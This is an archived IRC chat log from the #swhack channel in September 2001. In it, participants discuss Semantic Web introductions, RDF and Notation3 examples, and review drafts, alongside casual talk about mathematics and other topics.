that's based on a long CS tradition of stacks as primitive data structures 23:29:13 <sbp> yep 23:29:22 <AaronSw> anyways, You need a mostly harmless reference to complete the joke 23:29:42 <sbp> in what way? 23:30:01 <AaronSw> "Mostly Harmless" by Douglas Adams 23:30:07 <sbp> I know the book 23:30:13 <sbp> what reference do I need? 23:30:25 <sbp> Oh, don't worry, I've got it... 23:30:39 <sbp> But they're mostly harmful, so it's the opposite 23:30:53 <sbp> * sbp likes the guy on the 30-50ft poles bit 23:31:10 <AaronSw> yes, i know 23:31:25 <AaronSw> you need something mostly harmful to complete the balance 23:31:47 <sbp> well, the new URI schemes are mostly harmful 23:32:07 <AaronSw> err, something mostly harmless rather 23:32:11 <sbp> :-) 23:32:28 <AaronSw> :-) 23:32:40 <sbp> Name one thing that's mostly harmless, other than the Earth, and related to URI schemes 23:33:05 <AaronSw> informal URN spaces? 23:34:41 <sbp> they're completely harmless 23:35:21 <AaronSw> well, mostly harmless -- they take up disk space 23:35:36 <AaronSw> mental and physical 23:37:22 <AaronSw> People aren't familiar with data: URIs! 23:37:43 <AaronSw> and tell folks to be sure to register their schemes 23:37:43 <sbp> I am, and you are, and we're people, so you're wrong, WED 23:37:47 <sbp> and QED 23:37:57 <AaronSw> pffft 23:37:58 <deltab> do any browsers support them? 23:38:21 <sbp> Netscape6 supports data: 23:38:53 <sbp> [[[ 23:38:55 <sbp> It is often said that new URI schemes in and of themselves are not actually harmful, it is only unregistered proprietary schemes that are harmful. Of course, it is still technically possible for registered URI schemes to violate URI axioms, but new URI schemes and URN namespaces have to go through a process of peer review, and are therefore less likely to do so. 23:38:55 <sbp> ]]] 23:39:22 <sbp> I should probably add "REGISTER YOUR SCHEMES!" though 23:39:45 <AaronSw> yeah 23:40:11 <AaronSw> You need a "call to action" 23:46:43 <sbp> Hmm... the amount of EO materials for the SW can still only be described as "terrible" 23:47:28 <AaronSw> Yeah, i'm hoping the primer will make dent 23:47:50 <sbp> When are you going to release it?/What are you doing with it? 23:48:13 <sbp> It seems to have been sitting there for ages 23:49:13 <AaronSw> release what? 23:49:22 <sbp> the primer 23:49:29 <AaronSw> i meant the RDF Core primer 23:49:34 <AaronSw> you mean semanticWeb-long? 23:49:38 <sbp> Oh... what's that? 23:49:41 <sbp> Yes, i did 23:50:02 <AaronSw> Jim Hendler is cleaning it up as his paper for this digital cities thing 23:50:04 <AaronSw> so that should help 23:50:14 <AaronSw> then i need to make sure my Mom can understand it 23:50:16 <sbp> RDF Core primer? 23:50:49 <AaronSw> It's a deliverable of the WG 23:50:59 <sbp> ETA? 23:51:27 <AaronSw> when the WG is done? 23:51:32 <AaronSw> we hope to have a draft out soon 23:51:39 <AaronSw> Primer should come out with the specs we do 23:51:43 <sbp> well, who's working on it, etc.? 23:51:51 <AaronSw> Check the list 23:51:53 <AaronSw> we just started 23:52:04 <AaronSw> ericm is heading things, i'm working on it as is a bunch of other people 23:52:12 <sbp> RDF Primer, I'm guessing. How much orientation towards the SW aspect of things? 23:52:14 <AaronSw> * AaronSw has to go soon... saturday approaches 23:52:18 <sbp> Yep 23:52:21 <AaronSw> I hope to have it cover most SW things. 23:52:31 <AaronSw> I've sent a message to the list saying as much. 23:52:35 <sbp> cool 23:52:37 <AaronSw> But not sure it'll happen. 23:52:53 <sbp> Ooooh, could you make that Python script send RDF Core junk to me? 23:53:41 <AaronSw> Heh, I was wondering when you'd ask that. 23:53:45 <sbp> :-) 23:54:02 <AaronSw> I suppose I could, but it'd be more difficult since I'd have to tell it not to send it to me... 23:54:06 <AaronSw> i'll 23:54:10 <AaronSw> i'll do it on sunday 23:54:14 <sbp> cheers 23:55:25 <AaronSw> ok, gotta go 23:55:30 <AaronSw> ta 23:55:33 <sbp> O.K., have a nice Staurday 23:55:38 <sbp> er... Saturday 23:55:40 <sbp> c'ya! 23:55:43 <AaronSw> bye 23:58:13 <sbp> sbp has quit 23:58:18 <sbp> sbp has joined #swhack �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-09-15.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000001555�07350714043�012016� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:00:22 <logster> logster has joined #swhack 00:00:22 <carter.openprojects.net> topic is: The Semantic Web: Better Pizzas 00:00:22 <carter.openprojects.net> Users on #swhack: logster sbp AaronSw tav deltab 00:12:24 <sbp> sbp has quit 09:20:12 <tav> tav is now known as tav|offline 17:05:34 <JS> JS has joined #swhack 17:17:37 <JS> JS has quit 17:41:16 <irc.openprojects.net> Disconnected from irc.openprojects.net (ERROR :Closing Link: logster[xcdfddb76.ip.ggn.net] by carter.openprojects.net (Ping timeout for logster[xcdfddb76.ip.ggn.net])) 17:41:21 <logster> logster has joined #swhack 17:41:21 <forward.openprojects.net> topic is: The Semantic Web: Better Pizzas 17:41:21 <forward.openprojects.net> Users on #swhack: logster AaronSw tav|offline deltab 18:03:40 <David_Abbishaw> David_Abbishaw has joined #swhack 18:04:19 <David_Abbishaw> David_Abbishaw has left #swhack ���������������������������������������������������������������������������������������������������������������������������������������������������2001-09-16.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000067430�07351232412�012017� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������01:33:17 <logster> logster has joined #swhack 01:33:17 <benford.openprojects.net> topic is: The Semantic Web: Better Pizzas 01:33:17 <benford.openprojects.net> Users on #swhack: logster @sbp AaronSw tav|offline deltab 01:33:26 <sbp> Hi! 01:33:28 <sbp> Guess what I'm doing now? 01:33:29 <AaronSw> Hi there 01:33:33 <AaronSw> What? 01:33:44 <AaronSw> Sheesh, this is my airport: http://larve.net/people/hugo/pictures/2001/09/15/ohare 01:33:53 <AaronSw> Makes you want to take a train. 01:34:14 <sbp> guess/yes 01:34:29 <AaronSw> Hmmm... 01:34:41 <sbp> * sbp snjoys doing this periodically 01:34:49 <sbp> s/snjoys/enjoys 01:34:56 <AaronSw> Writing in some esoteric language? 01:35:27 <sbp> Nop 01:35:35 <sbp> s/Nop/Nope 01:35:48 <AaronSw> Hacking some new SW project? 01:35:55 <AaronSw> Hosting friends? 01:36:09 <AaronSw> Hmm: Last login: Fri Sep 14 12:23:28 2001 from richschol.lfc.edu 01:36:16 <AaronSw> rich school? 01:36:23 <sbp> the first one... but what project? 01:36:32 <AaronSw> Trust/Proof? 01:36:33 <sbp> rich school: spelt wrong 01:36:38 <sbp> well... kinda 01:36:53 <AaronSw> Give me a hint here 01:37:04 <sbp> * sbp uploads his work 01:37:11 <sbp> It's getting to be quite big 01:37:41 <sbp> And I've only been doing it for a few hours! Probably has loads of typos... but it's good 01:38:00 <sbp> it's now online... 01:38:13 <AaronSw> Hmm, I give up. 01:38:15 <sbp> Oh alright... 01:38:17 <sbp> Here: http://infomesh.net/2001/swintro/ 01:38:47 <AaronSw> Hmmph, I should've known. 01:38:54 <sbp> Of course :-) 01:39:07 <AaronSw> You always copy my good ideas! Pick the bad ones once in a while... ;-) 01:39:22 <sbp> I'm getting a bit embarassed having to point people at whatIsSW all of the time; it's soooooo out of date! 01:39:37 <AaronSw> semanticWeb-long! 01:39:41 <sbp> Pffff, copy your good ideas. How many SW introductions have I written? 01:40:05 <AaronSw> Aleph null? 01:40:12 <sbp> "Pick the bad ones once in a while..." you never have bad ideas!!! 01:40:20 <sbp> pardon? 01:40:31 <AaronSw> An infinite amount? 01:40:40 <sbp> an almost infinite amount 01:40:45 <AaronSw> (A relatively small infinite amount) 01:40:51 <sbp> yeah, that's it 01:41:20 <sbp> where x is the largest number that will ever be conjected, I have written y introductions, where y = x+1 01:41:29 <AaronSw> * AaronSw wonders what the larger infinite amounts are named... never got that far though 01:41:45 <sbp> larger infinite amounts: herbert 01:42:09 <AaronSw> You do know there are larger infinite amounts, don't you? 01:42:18 <sbp> pointer? 01:42:47 <sbp> I know that there are many types of infinity... I want to a really cool lecture about it once 01:42:50 <AaronSw> Ohh, it's a great proof. 01:43:06 <sbp> better than my x = x + 1 proof? 01:43:41 <AaronSw> I'm not sure I saw that... is that the one that tricks folks who can't do polynomials? 01:44:00 <sbp> ugh, polynomials... 01:44:10 <sbp> nope, I just showed you the gist of it 01:44:39 <AaronSw> Oh, I see. 01:44:42 <AaronSw> No... 01:45:12 <AaronSw> It goes like this: 01:45:43 <sbp> the greatest number that will ever be conjectured is infinity, proving that infinity is a number. Proof: x is a variable representing the highest number that will ever be conjectured. y = x + 1. y is the highest number ever conjectured. y = x. x = x + 1. The only thing that satisfies x is infinity. A flawed proof... :-) 01:45:44 <AaronSw> Assume that the set of decimals is the same sitze as the set of counting numbers. 01:45:56 <AaronSw> So you line up all the deciml numbers in a list: 01:46:04 <AaronSw> 1) 0.112838338 01:46:09 <AaronSw> 2) 0.2489389389 01:46:11 <AaronSw> etc. 01:46:35 <AaronSw> Well, you can always go down the list diagonally, taking the first digit from the first number, the second digit from the second number, etc. 01:46:40 <AaronSw> forming a new number that's not in the list 01:46:54 <sbp> * sbp spots that the flaw to any proof is in the "assume that" 01:47:04 <AaronSw> Thus the assumption leads to contradiction 01:47:15 <AaronSw> and that makes the assumption false. 01:47:39 <AaronSw> It's called Cantor's Diagonalization Argument. 01:47:47 <sbp> cool name 01:47:52 <sbp> and the solution is? 01:48:08 <AaronSw> Well, the solution is that the number of decimals is larger than the integers. 01:48:27 <sbp> but both are infinite, surely? :-) 01:48:38 <AaronSw> Yes, but one infinite number is bigger than the other. 01:48:41 <deltab> yes - but different types of inifinte 01:48:49 <AaronSw> One is plainly bigger! 01:48:53 <AaronSw> More: http://www.scidiv.bcc.ctc.edu/Math/diag.html 01:48:54 <deltab> yup 01:49:02 <sbp> yep, this is the same thing that the guy lectured us on 01:49:21 <AaronSw> Ahh, cool. Dad keeps wanting to teach it to the 5th graders at school. 01:49:34 <sbp> Why not? 01:49:54 <AaronSw> No reason, just times never seem to work out 01:50:12 <sbp> Bummer 01:51:05 <AaronSw> Where'd you hear the proof, deltab? 01:51:23 <AaronSw> Dad taught it to me on the kitchen counter when I was six or something, I remember it vividly. 01:51:41 <sbp> wow, neat 01:51:45 <deltab> of Cantor's diagonal argument? In a book by Martin Gardner 01:52:05 <AaronSw> Cool. He has some great books. 01:52:20 <AaronSw> We jokingly call him Marvin Gardens around the house. ;-) 01:53:07 <sbp> Have you done anything about transcendialism with large numbers yet? 01:56:52 <sbp> Marvin Gardens? 01:57:01 <AaronSw> From Monopoly. 01:57:13 <sbp> oh, American Monopoly 01:57:20 <AaronSw> Oh, is it different in the UK? 01:57:30 <sbp> Of course! We have British places 01:57:44 <AaronSw> * AaronSw didn't realize the American places were all that American 01:57:44 <sbp> Park Lane, Mayfair, Old Kent Road 01:58:15 <sbp> The Strand, Bond Street, Regents Street, Kings Cross Station, Electric Company... er 01:58:25 <sbp> Pall Mall, and so on 01:58:27 <AaronSw> Well, we have an Electric Company! 01:58:32 <sbp> yes :-) 01:58:59 <sbp> Wow, 18 messages... where did they come from? 01:59:06 <AaronSw> So, how old are you, deltab? 01:59:31 <deltab> a decade your senior 01:59:48 <sbp> Wow, old man :-) 01:59:50 <deltab> 24 on Monday 02:00:04 <AaronSw> Wow, I would have guessed older. Happy unbirthday! 02:00:54 <AaronSw> Another brit, I'd guess? 02:00:57 <deltab> yes 02:01:06 <deltab> Birmingham 02:01:08 <sbp> Ha, we're teaming up 02:01:37 <AaronSw> Hmm, I guess 24 is rather old. All so far away, it seems. 02:03:34 <sbp> So, what shall I do with swintro? 02:04:13 <AaronSw> Hmmz 02:04:18 <sbp> * sbp wonders if a more appropriate question might have been "where shall I stick it?" 02:04:23 <AaronSw> Wish you'd help improve semanticWeb-long 02:04:58 <sbp> I think it's a good base level introduction 02:05:25 <AaronSw> What'd you think of that other overview piece you pointed me to yesterday? 02:05:34 <sbp> note how swintro says nothing about shared meaning on the same level that you do. I'd tell people to read semanticWeb-long before they read swintro 02:05:40 <sbp> what overview piece? 02:05:56 <sbp> Oh that... too out of date 02:06:12 <AaronSw> The diffuse one, out of date already? 02:06:37 <sbp> yeah, well out of date. But like all SW primers, it covers a different aspect of the SW 02:06:53 <AaronSw> * AaronSw considers merging swintro with semanticWeb-long 02:07:04 <sbp> it's slightly more broad... it covers many things that I don't really consider to be a part of the Semantic Web 02:07:15 <AaronSw> What I really wanted to do was to break up semanticWeb-long into a bunch of in-depth pieces on each layer. 02:07:35 <sbp> I think that the value of semanticWeb-long is that it can be explained to a mother 02:07:57 <AaronSw> And target audience for swintro? 02:08:09 <sbp> [ :disjointFrom :Mother ] . 02:08:12 <sbp> :-) 02:08:34 <AaronSw> forAll or forSome? 02:08:35 <sbp> no, more for people who've already read a few piles of crap about RDF and the Semantic Web 02:08:42 <sbp> and are just a bit baffled 02:08:58 <sbp> forSome: it's an anonymous node 02:09:02 <AaronSw> * AaronSw skims it -- ahh, i see 02:09:10 <sbp> the class of people which aren't Mothers 02:09:26 <AaronSw> That's what I was asking: all non-Moms or just some? 02:09:30 <sbp> yep, it's a bit more involved. It's not really a primer; more of an essay 02:09:38 <sbp> Hmm... not sure 02:09:56 <AaronSw> You and Morbus need to get together and form the rant squad 02:10:15 <sbp> I think you're right. It only rants a little bit though, towards the bottom 02:10:42 <sbp> especially under "Intertingling" 02:10:45 <AaronSw> Hmm, it needs a style sheet. 02:10:58 <sbp> s/Intertingling/Intertwingling 02:11:00 <sbp> of course 02:11:04 <AaronSw> Speaking of stylesheets, did you see the one on http://www.w3.org/QA/ ? 02:11:10 <sbp> I just put it online to show you 02:11:19 <sbp> yes, I noticed the QA stylesheet... 02:11:22 <AaronSw> QA: I love it. It might be good for the validator. 02:11:39 <deltab> what about it? (no graphical browser) 02:11:57 <sbp> takes ages to load though! (comparatively) 02:12:05 <AaronSw> I just think it's pretty, nice clean text, sort of dashed-line separators. 02:12:29 <AaronSw> Nice gray and blue color scheme 02:47:45 <AaronSw> Hmm: "antireligious (and that includes astrology, homeopathy, and marriage.) ", http://kbs.cs.tu-berlin.de/~jutta/me/whois.html 02:48:44 <sbp> he he he 02:48:45 <sbp> [[[ 02:48:46 <sbp> No more of those slam your dick in the door and still not feel anything condoms. 02:48:52 <sbp> ]]] - http://www.halfbakery.com/idea/No_20more_20condoms#1000544945-13-1 02:48:57 <sbp> yeah, I read that bit too 02:49:00 <AaronSw> heheh 02:50:03 <AaronSw> * AaronSw considers us _Dan Connolly_ invented the _World Wide Web_ as an example. ;-) 02:50:17 <sbp> [[[ 02:50:18 <sbp> Any whores that don't obey these laws will have their license revoked and they won't be allowed to "practice", like a doctor. 02:50:25 <sbp> ]]] - http://www.halfbakery.com/idea/Prostitution#1000589523-6-1 02:50:29 <sbp> example of what? 02:51:07 <sbp> he he he 02:51:08 <sbp> [[[ 02:51:09 <sbp> Wouldn't it be cool if there were even brothel franchises, like McDonald's or Starbucks? There would even be whorehouse commercials, with Ronald McSlut, the whorehouse clown. Okay, just kidding about the last part. 02:51:12 <sbp> ]]] - ibid. 02:51:26 <AaronSw> Heh. 02:51:36 <AaronSw> Hmm, where's that Joe Clark page that's chock full of links? 02:51:50 <AaronSw> example: of what to do instead of click here. 02:53:56 <sbp> Hmm... interesting: http://www.halfbakery.com/idea/PIN_20surprise#1000548361-12-1 02:54:44 <sbp> Wouldn't work in practice 03:05:09 <AaronSw> Have a good page about screen readers to help inform sighted people? 03:05:31 <sbp> Hmm... not to hand, no 03:05:35 <AaronSw> Ooh, http://www.w3.org/WAI/References/Browsing 03:14:28 <sbp> Ah! The good ol' WAI. I'll bet that's an EO thing... 03:14:50 <sbp> Hmm... Chaals last updated it 03:17:41 <sbp> Gotta run 03:19:06 <AaronSw> c'ya 03:20:41 <sbp> sbp has quit 03:49:43 <sbp> sbp has joined #swhack 04:01:01 <AaronSw> Hmm, I need to syndicate this page as RSS: 04:01:01 <AaronSw> http://kgate.virtual.net/cgi-bin/wiki.cgi?action=Browse&id=SeptemberDisaster 04:59:20 <sbp> from #dotgnu 04:59:20 <AaronSw> Ooh. I am the proud co-author of: 04:59:20 <sbp> *** Now talking in #dotgnu 04:59:21 <sbp> *** chillywilly has joined #dotgnu 04:59:21 <sbp> *** MisterP has joined #dotgnu 04:59:21 <sbp> <MisterP> Yo 04:59:21 <sbp> <chillywilly> yo 04:59:22 <sbp> <sbp> yo 04:59:24 <sbp> *** crazney has quit IRC (Terminated with extreme prejudice - dircproxy 1.0.0) 04:59:26 <sbp> <sbp> yo-yo? 04:59:28 <sbp> <sbp> no 04:59:30 <sbp> <sbp> so? 04:59:32 <sbp> <sbp> dunno 04:59:38 <AaronSw> oh? 04:59:53 <sbp> thanks, I just added that 05:00:00 <sbp> what are you the co-author of? 05:00:03 <AaronSw> Swartz, A. and Hendler, J. The Semantic Web: A Network of Content for the Digital City, Proceedings Second Annual Digital Cities Workshop, Kyoto, Japan, October, 2001. 05:00:31 <sbp> Ooh, wow 05:00:45 <AaronSw> TimBL better watch out or he'll lose his job! ;-) 05:00:53 <sbp> your first scientifically published paper? 05:00:59 <AaronSw> Perhaps so. 05:01:08 <AaronSw> It brings my Erdos number to three. 05:01:16 <AaronSw> Which is rather impressive, better than my Dad, even 05:01:21 <sbp> Erdos? 05:01:34 <AaronSw> Paul Erdös, a famous mathematician. 05:01:44 <sbp> pointer? 05:01:54 <AaronSw> He wrote many papers and since then people have created a scheme of Erdös numbers. 05:01:59 <AaronSw> His number is 0. 05:02:07 <AaronSw> People who co-authored with him have 1. 05:02:09 <AaronSw> and so on 05:02:13 <sbp> ah, I see 05:02:22 <sbp> so my Erdos number is 4 05:02:29 <sbp> if yours is 3... 05:02:40 <AaronSw> I think it only really counts for refereed papers. 05:02:45 <AaronSw> But who knows. 05:03:02 <sbp> we must write a refereed paper! 05:03:05 <AaronSw> Yes! 05:03:12 <AaronSw> Oh dear... 05:03:16 <AaronSw> I can't bare to put it up on the web. It includes the text "click here". 05:03:20 <sbp> I presume that JimH has an Erdos number of 2 then 05:03:28 <sbp> Oh dear oh dear... 05:03:35 <AaronSw> bear? bare? 05:03:45 <AaronSw> that's one i'm actually not sure on 05:04:04 <sbp> what context? 05:04:16 <AaronSw> Other such errors are further evidence that I chat with the speaking portion of my brain and not the writing one. 05:04:27 <AaronSw> context: above sentence: "I can't bare..." 05:04:30 <sbp> yes... me too 05:05:04 <AaronSw> Not to mention that the paper is in MS Word. :-( 05:05:21 <sbp> aaaaaaaaaaaaaaargh! 05:05:31 <sbp> anyway, gotta run... 05:05:37 <AaronSw> C'ya 05:08:33 <sbp> sbp has quit 06:06:25 <AaronSw> AaronSw has quit 07:00:15 <AaronSw> AaronSw has joined #swhack 14:21:04 <AaronSw> AaronSw has quit 14:21:50 <AaronSw> AaronSw has joined #swhack 16:35:26 <sbp> sbp has joined #swhack 16:36:29 <sbp> [[[ 16:36:30 <sbp> Note that Notation3 introduces a "context" construct, enabling one to group statements together and quantify over them using a specially designed logic vocabulary. Using this vocabulary, for example, one can express "or", using NANDs:- 16:36:30 <sbp> { { :Joe :loves :TheSimpsons } a log:Falsehood . 16:36:30 <sbp> { :Joe :is :Nuts } a log:Falsehood . 16:36:30 <sbp> } a log:Falsehood . 16:36:32 <sbp> Which can be read as "it is not true that Joe does not love The Simpsons and is nuts". I resisted the temptation to make Joe a universally quantified variable. 16:36:37 <sbp> ]]] - http://infomesh.net/2001/swintro/ 16:39:56 <sbp> sbp has quit 16:53:07 <AaronSw> Oops, missed sbp. 16:53:59 <AaronSw> Interesting way to do or... 18:39:01 <tav|offline> tav|offline has quit 19:12:00 <lilo> [GlobalNotice] Hi all. Services will be down for 15 minutes, perhaps longer. We'll take it down in about 5 minutes. Apologies for the inconvenience. 19:16:38 <sbp> sbp has joined #swhack 19:27:41 <sbp> sbp has quit 19:52:00 <lilo> [GlobalNotice] Please bear with us all, as we reconnect services in a new configuration 19:57:30 <lilo> [GlobalNotice] Okay, one more shot folks....in a few minutes....this configuration should be a bit more stable 20:03:11 <lilo> [GlobalNotice] Okay folks, here goes. Expect some splitting as we attempt to connect services in a new configuration. Apologies for the inconvenience. 20:04:30 <ChanServ> ChanServ has changed the topic to: 20:05:13 <lilo> [GlobalNotice] That looks like a more reliable connection. Thanks to everyone for your patience, it looks as if we're done. 20:05:47 <AaronSw> AaronSw has changed the topic to: Happy Birthday, Deltab! 21:29:52 <sbp> sbp has joined #swhack 21:32:37 <AaronSw> hello 21:44:08 <sbp> Hi 21:44:58 <AaronSw> Can you please review http://logicerror.com/dcrdfDraft ? 21:48:42 <sbp> Looks good 21:49:13 <sbp> I like the relations bit at the bottom 21:49:25 <sbp> You should put those in SWAG-D. I think I already added one 21:49:55 <AaronSw> Cool. 21:49:59 <AaronSw> * AaronSw converts into N-Triples. 21:50:07 <AaronSw> They need to go into one of the DC schemas, for sure. 21:50:33 <sbp> yeah 21:51:17 <AaronSw> Does it seem like I'm missing anything? 21:51:25 <AaronSw> Am I right by taking out the rdf:Bag, Seq definitions? 21:51:57 <sbp> yes, I think so. I've always thought of them as being a bit redundant... like aboutEachPrefix 21:52:46 <AaronSw> Yeah. 21:53:05 <AaronSw> I'm quite proud of the new draft actually -- it's much leaner than the old one and it covers just about all the necessary material. 21:53:37 <sbp> Yep. What's it going to be published as? And where? DCMI I guess 21:53:57 <AaronSw> Yes, it'll be the official DCMI DC-in-RDF draft if I'm lucky. 22:03:23 <sbp> Aaron, I've added a note at the top of http://infomesh.net/2001/swintro/ 22:03:36 <sbp> Telling people to read semanticWeb-long first... 22:03:37 <AaronSw> What's it say? 22:03:40 <AaronSw> Ahh, cool. 22:04:06 <sbp> Please set the terms for its... er... "release", could ya? 22:04:19 <AaronSw> semanticWeb-long's? 22:04:28 <AaronSw> Well, it's in my .sig, so you can point people to it if you want 22:04:44 <sbp> ah, that's the first question answered 22:05:23 <sbp> the second is simply, do you mind too much if I release swintro? I'm hoping to spread it to as many people as possible, bugging the feck out of those who are subscribed to all of the lists (i.e. me) 22:05:58 <AaronSw> Nope, I don't mind at all. 22:06:38 <sbp> and the third question: is it O.K. to be released? I haven't made any startling errors or missed something out, I hope 22:07:09 <sbp> Lists... I had in mind: www-rdf-interest [W3C], semantic-web [yahoo], xml-dev, humanmarkup, and possibly swag-dev 22:07:23 <AaronSw> Well, I'm sorta in the middle of this DC thing right now... can you give me a few minutes? 22:07:27 <sbp> I'm going for the mega huge spammer of the week award. Spam, spam, spam, spam, spam 22:07:31 <sbp> sure, of course 22:07:31 <AaronSw> heh 22:08:05 <AaronSw> OK, meanwhile, go make sure my newly-added RDF/XML examples are all correct 22:08:11 <sbp> O.K. 22:08:21 <AaronSw> Thanks. 22:08:34 <AaronSw> Comments: 22:08:45 <AaronSw> s/semanticWeb-long/Semantic Web In Depth/ or some such 22:09:01 <sbp> Heh: <dc:title>World Wide Web Consortium (W3C)</dc:creator> 22:09:01 <AaronSw> Perhaps I should rename it Semantic Web in Breadth -- it's more appropriate 22:09:05 <AaronSw> oops 22:09:10 <sbp> :-) 22:09:11 <AaronSw> that's what i meant about checking. ;-) 22:09:12 <AaronSw> thanks 22:09:24 <sbp> in Breadth: good idea. I'll title it as that 22:10:21 <sbp> tut tut: rdf:Description about 22:10:26 <sbp> s/about/rdf:about 22:11:00 <AaronSw> Hey, I copied-and-pasted the examples from the old doc! 22:11:09 <AaronSw> vixed 22:11:11 <AaronSw> err fixed 22:11:25 <sbp> I merely said "tut, tut" :-) 22:11:44 <AaronSw> "RDF is a generic format, which already has many parsers" 22:11:49 <sbp> * sbp actually just pasted the examples one by one into the RDF validator 22:11:52 <AaronSw> I think you mean RDF/XML above 22:11:59 <AaronSw> RDF validator: even better! 22:12:14 <AaronSw> but also make sure that they're equivalent to the ntriples version 22:13:06 <AaronSw> """ 22:13:07 <AaronSw> Here are the triples that this RDF produces:- 22:13:09 <AaronSw> """ 22:13:16 <AaronSw> You use this, where you mean <> . 22:13:25 <AaronSw> There's no "this" in RDF/XML, so it couldn 22:13:30 <AaronSw> 't produce those triples. 22:13:56 <sbp> what about 'rdf:about=""'? Well, I guess that's <> 22:13:57 <AaronSw> And if you're going to make it look like N-Triples, might as well make it N-Triples -- get rid of that line break in the middle of the second triple. 22:14:04 <AaronSw> yep 22:14:06 <sbp> * sbp misreads what you wrote... 22:14:15 <sbp> line break: oops 22:14:32 <AaronSw> You might want to mention that the format is N-triples/n3 or whatever 22:17:46 <AaronSw> ugh, don't use the term screen scraping! 22:17:57 <sbp> Why not? I love that term! 22:18:08 <AaronSw> It's not appropriate, cf. http://logicerror.com/screenScraping 22:18:30 <AaronSw> It reminds me of surgeons ripping out people 22:18:32 <AaronSw> 's guts. 22:18:37 <AaronSw> Perhaps that's appropriate... ;-) 22:18:46 <sbp> lol 22:19:26 <sbp> actually, it isn't NTriples because I start using prefixes later on in the document... don't want to confuse people too much, but it's a fine balance! 22:19:37 <AaronSw> OK. 22:20:24 <sbp> "Here I'm using NTriples (plus <> which isn't officially NTriples), and now I'm using a subset of N3... well, NTriples are a subset of N3, but I'm using a slightly larger subset of N3, a superset of NTriples if you like" might not go down too well :-) 22:21:00 <AaronSw> OK, you're right. 22:21:18 <AaronSw> Ahh, you mention nt later on -- that's fine. 22:21:26 <sbp> * sbp hides... I was just tryin'ta make yer laugh 22:21:45 <sbp> :-) 22:21:52 <AaronSw> I was worried that was an actual quote! 22:21:58 <sbp> He he he 22:22:09 <sbp> I like my Simpsons universal quantification bit the best 22:22:19 <AaronSw> That'll scare off the remaining 1% of your readers. ;-) 22:22:26 <AaronSw> err, the nt/n3 thing 22:22:32 <sbp> [[[ 22:22:32 <sbp> Note that Notation3 introduces a "context" construct, enabling one to group statements together and quantify over them using a specially designed logic vocabulary. Using this vocabulary, for example, one can express "or", using NANDs:- 22:22:32 <sbp> { { :Joe :loves :TheSimpsons } a log:Falsehood . 22:22:32 <sbp> { :Joe :is :Nuts } a log:Falsehood . 22:22:32 <sbp> } a log:Falsehood . 22:22:34 <sbp> Which can be read as "it is not true that Joe does not love The Simpsons and is not nuts". I resisted the temptation to make Joe a universally quantified variable. 22:22:37 <sbp> ]]] 22:22:56 <AaronSw> Poor Joe. 22:23:22 <AaronSw> He stood in the forest between two paths and took the one less funnt. 22:23:38 <AaronSw> Hmm, they're both pretty funny. 22:23:47 <sbp> Heh 22:24:08 <sbp> * sbp doesn't often picture OR gates as paths in a forest 22:24:17 <AaronSw> No? 22:24:20 <sbp> oh no, an ogre! 22:24:25 <sbp> no, not often 22:25:17 <sbp> People are so busy these days. Work, work, work 22:25:26 <AaronSw> No forests. 22:25:34 <AaronSw> "use those properties in our code"? where'd this code come from? 22:26:09 <AaronSw> Hmm, you should have named :Fido "Bruno" or something scarrier to throw people off. 22:26:10 <sbp> you just... well... write it? 22:26:14 <sbp> heh 22:26:20 <sbp> Aw, but Fido! Fido! 22:26:22 <AaronSw> what kind of code, tho? 22:26:27 <sbp> RDF 22:26:35 <AaronSw> Since when did RDF become code? 22:26:36 <sbp> oh, in our RDF... gotcha 22:26:57 <AaronSw> I mean, I know it's a bit hard to understand, but still... 22:27:19 <sbp> well, it's one of those cases where I know what I'm babbling on about, but not many other people will 22:28:00 <sbp> i.e. will know what I'm babbling on about, when there is something that I am babbling on about and that people don't get 22:28:24 <AaronSw> Did we ever decide if :x daml:inverseOf :x made sense? 22:28:28 <sbp> so many things to babble about! and nobody likes a babbler... sit up, keep happy, don't babble 22:28:40 <sbp> yes, it makes sense 22:28:45 <sbp> It's a reversible property 22:28:51 <AaronSw> ok, good 22:28:51 <sbp> :ReversibleProperty 22:28:58 <sbp> means the same backwards as forwards 22:29:05 <AaronSw> @prefix : ?x 22:29:19 <sbp> daml:equivalentTo a :ReversibleProperty . 22:29:25 <sbp> @prefix : ?x? 22:29:29 <AaronSw> yes 22:29:35 <AaronSw> What is : bound to? 22:29:44 <sbp> It's bound to a URI 22:29:53 <AaronSw> But what URI? 22:30:02 <sbp> usually, <#> 22:30:10 <sbp> oh, you mean in swintro? 22:30:12 <AaronSw> * AaronSw gives up 22:30:33 <sbp> * sbp wonders what you're talking about 22:30:37 <AaronSw> I meant for :ReversibleProperty 22:30:42 <AaronSw> What namespace is it in? 22:30:45 <sbp> er, nothing yet 22:30:55 <sbp> It's just floating around wanting to be made 22:31:14 <sbp> it probably belongs in DAML 22:31:19 <AaronSw> Hmm, I thought @prefix : ?x ? whas pretty clever. 22:31:39 <sbp> but ?x isn't a resource, it's a special bit of syntax 22:31:49 <sbp> TimBL should have made that clearer, IMO 22:32:03 <AaronSw> So? I was making a query with it. 22:32:09 <sbp> er... I meant, that the end bit of the @prefix declaration isn't a resource... 22:32:16 <sbp> * sbp isn't being clear now! 22:32:30 <AaronSw> I know! That's why I thought it was clever. 22:33:36 <AaronSw> """Note that the above example does not serialize "properly" into XML RDF, because XML RDF does not have the context construct as denoted by the curly brackets in the example above.""" However a similar effect can be achieved using reification and containers. 22:33:53 <sbp> * sbp adds it... 22:34:04 <sbp> * sbp should add acknowledgements as well... 22:34:10 <AaronSw> :-) 22:34:39 <AaronSw> Hmm, I don't know... someone might steal your URIs. Better patent them 22:34:57 <AaronSw> You know, I heard one guy who tried to trademark a series of URIs! 22:35:07 <sbp> really? Yuck 22:35:19 <sbp> Did he manage to do it? 22:35:26 <AaronSw> Not sure... don't think so. 22:35:34 <AaronSw> He didn't really need to, of course. 22:35:43 <AaronSw> I tried to explain to him about DNS, but he didn't get it. 22:35:48 <sbp> He he he 22:35:55 <AaronSw> He wanted to trademark www.foo-*.com 22:36:02 <sbp> Imagine, having to trademark every URI just to use them! 22:36:02 <AaronSw> And I told him to just use *.foo.com 22:36:08 